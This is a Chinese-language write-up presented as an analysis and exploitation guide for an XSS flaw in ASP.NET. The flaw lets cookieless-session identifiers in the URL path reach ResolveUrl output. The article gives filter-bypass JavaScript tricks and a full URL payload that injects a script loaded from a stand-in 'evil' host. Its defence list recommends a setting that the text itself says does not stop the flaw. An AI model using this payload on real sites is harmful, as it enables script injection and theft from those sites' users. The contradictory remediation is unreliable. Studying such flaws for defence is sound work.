通杀.NET的XSS!
字数 1658 2025-08-20 18:17:42

ASP.NET XSS漏洞分析与利用指南

漏洞概述

本文详细分析了一个存在于ASP.NET框架中的XSS漏洞,该漏洞源于.NET框架对Cookieless Session和ResolveUrl方法的特殊处理方式。攻击者可以利用此漏洞在目标网站上执行任意JavaScript代码。

技术背景

ResolveUrl方法

ASP.NET的ResolveUrl方法用于解析相对于应用程序根目录的路径:

<script src="<%= ResolveUrl("~/Script.js") %>"></script>

该方法会将~解析为应用程序根目录,例如:

  • 正常访问:http://localhost/A/B/C/default.aspx<script src="/Script.js"></script>
  • 子目录访问:路径会自动调整,保持资源可访问

Cookieless Session历史

在早期ASP.NET版本(1.0和1.1)中,Session State使用URL存储会话ID(称为"Cookieless"特性)。现代浏览器虽然使用Cookie存储会话,但ASP.NET仍保留了对Cookieless Session的支持。

Cookieless标识符格式:

  • (S(?)) - Session ID
  • (A(?)) - Anonymous ID
  • (F(?)) - Form Authentication Ticket

漏洞原理

关键发现:即使禁用Cookieless功能(Cookieless="UseCookies"),ASP.NET仍会处理URL中的Cookieless标识符,并将其包含在ResolveUrl的结果中。

攻击示例:
访问http://localhost/(A(ABCD))/A/B/C/default.aspx会导致:

<script src="/(A(ABCD))/Script.js"></script>

攻击者可以控制A(ABCD)部分,插入恶意代码:

http://localhost/A/B/C/(A(%22onerror=%22alert`1`%22))/default.aspx

字符限制与绕过技术

被过滤的字符

以下字符会导致400或404错误:

  • % (0x25)
  • & (0x26)
  • ) (0x29)
  • * (0x2a)
  • + (0x2b)
  • / (0x2f)
  • : (0x3a)
  • < (0x3c)
  • > (0x3e)
  • ? (0x3f)
  • \ (0x5c)

JavaScript绕过技术

  1. 使用模板字符串:用反引号代替引号

    var text = `Hello`
    
  2. 字符串拼接:使用模板字符串插值

    console.log(`${'a'}${'b'}${'c'}`) // 输出: abc
    
  3. 函数调用:不使用括号

    alert`1`
    
  4. 字符编码:使用String.fromCharCode绕过斜杠限制

    String.fromCharCode`47` // 等于 '/'
    
  5. 动态执行:利用new Functionlocation.hash

    new Function`X${document.location.hash.substr`1`}X`
    

完整攻击Payload

js = document.createElement`script`;
js.src=`${String.fromCharCode`47`}${String.fromCharCode`47`}evil${String.fromCharCode`47`}XSS.JS`;
headEl=document.getElementsByTagName`head`[0];
new Function`X${document.location.hash.substr`1`}X`;

对应的URL格式:

http://localhost/A/B/C/(A("onerror="js=document.createElement`script`;js.src=`${String.fromCharCode`47`}${String.fromCharCode`47`}evil${String.fromCharCode`47`}XSS.JS`;headEl=document.getElementsByTagName`head`[0];new%20Function`X${document.location.hash.substr`1`}X`"))/default.aspx#headEl.appendChild(js)

受影响元素

除了script标签外,以下元素也可能受影响:

<link href="<%= ResolveUrl("~/file.css") %>" rel="stylesheet">
" />
<a href="<%= ResolveUrl("~/file.aspx") %>">click</a>

环境复现步骤

  1. 环境搭建

    • Windows 10系统
    • 安装Visual Studio 2019 Community版
    • 创建ASP.NET Web应用程序(.NET Framework)项目
    • 选择.NET Framework 4.x版本
  2. 测试代码

<%@ Page Language="C#" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title></title>
    <script src="<%= ResolveUrl("~/Script.js") %>"></script>
</head>
<body>
    .NET version: <%=Environment.Version%>
</body>
</html>
  1. 测试URL
    • 基础测试:https://localhost:port/(A(ABCD))/xss.aspx
    • 简单弹窗:https://localhost:port/(A("onerror="alert1"))/xss.aspx
    • 完整攻击:使用上述完整payload

防御措施

  1. 禁用Cookieless Session功能(在web.config中设置cookieless="UseCookies"
  2. ResolveUrl的输出进行编码
  3. 使用Content Security Policy (CSP)限制脚本来源
  4. 输入验证和输出编码

总结

该漏洞利用了ASP.NET框架的两个历史特性:

  1. ResolveUrl方法对~的特殊处理
  2. 对Cookieless Session标识符的向后兼容支持

通过精心构造的URL,攻击者可以完全控制资源路径,进而实现XSS攻击。虽然需要特定条件(使用ResolveUrl方法),但在实际应用中相当常见,危害性较高。

ASP.NET XSS漏洞分析与利用指南 漏洞概述 本文详细分析了一个存在于ASP.NET框架中的XSS漏洞,该漏洞源于.NET框架对Cookieless Session和ResolveUrl方法的特殊处理方式。攻击者可以利用此漏洞在目标网站上执行任意JavaScript代码。 技术背景 ResolveUrl方法 ASP.NET的 ResolveUrl 方法用于解析相对于应用程序根目录的路径: 该方法会将 ~ 解析为应用程序根目录,例如: 正常访问: http://localhost/A/B/C/default.aspx → <script src="/Script.js"></script> 子目录访问:路径会自动调整,保持资源可访问 Cookieless Session历史 在早期ASP.NET版本(1.0和1.1)中,Session State使用URL存储会话ID(称为"Cookieless"特性)。现代浏览器虽然使用Cookie存储会话,但ASP.NET仍保留了对Cookieless Session的支持。 Cookieless标识符格式: (S(?)) - Session ID (A(?)) - Anonymous ID (F(?)) - Form Authentication Ticket 漏洞原理 关键发现:即使禁用Cookieless功能( Cookieless="UseCookies" ),ASP.NET仍会处理URL中的Cookieless标识符,并将其包含在 ResolveUrl 的结果中。 攻击示例: 访问 http://localhost/(A(ABCD))/A/B/C/default.aspx 会导致: 攻击者可以控制 A(ABCD) 部分,插入恶意代码: 字符限制与绕过技术 被过滤的字符 以下字符会导致400或404错误: % (0x25) & (0x26) ) (0x29) * (0x2a) + (0x2b) / (0x2f) : (0x3a) < (0x3c) > (0x3e) ? (0x3f) \ (0x5c) JavaScript绕过技术 使用模板字符串 :用反引号代替引号 字符串拼接 :使用模板字符串插值 函数调用 :不使用括号 字符编码 :使用 String.fromCharCode 绕过斜杠限制 动态执行 :利用 new Function 和 location.hash 完整攻击Payload 对应的URL格式: 受影响元素 除了 script 标签外,以下元素也可能受影响: 环境复现步骤 环境搭建 : Windows 10系统 安装Visual Studio 2019 Community版 创建ASP.NET Web应用程序(.NET Framework)项目 选择.NET Framework 4.x版本 测试代码 : 测试URL : 基础测试: https://localhost:port/(A(ABCD))/xss.aspx 简单弹窗: https://localhost:port/(A("onerror="alert 1 "))/xss.aspx 完整攻击:使用上述完整payload 防御措施 禁用Cookieless Session功能(在web.config中设置 cookieless="UseCookies" ) 对 ResolveUrl 的输出进行编码 使用Content Security Policy (CSP)限制脚本来源 输入验证和输出编码 总结 该漏洞利用了ASP.NET框架的两个历史特性: ResolveUrl 方法对 ~ 的特殊处理 对Cookieless Session标识符的向后兼容支持 通过精心构造的URL,攻击者可以完全控制资源路径,进而实现XSS攻击。虽然需要特定条件(使用 ResolveUrl 方法),但在实际应用中相当常见,危害性较高。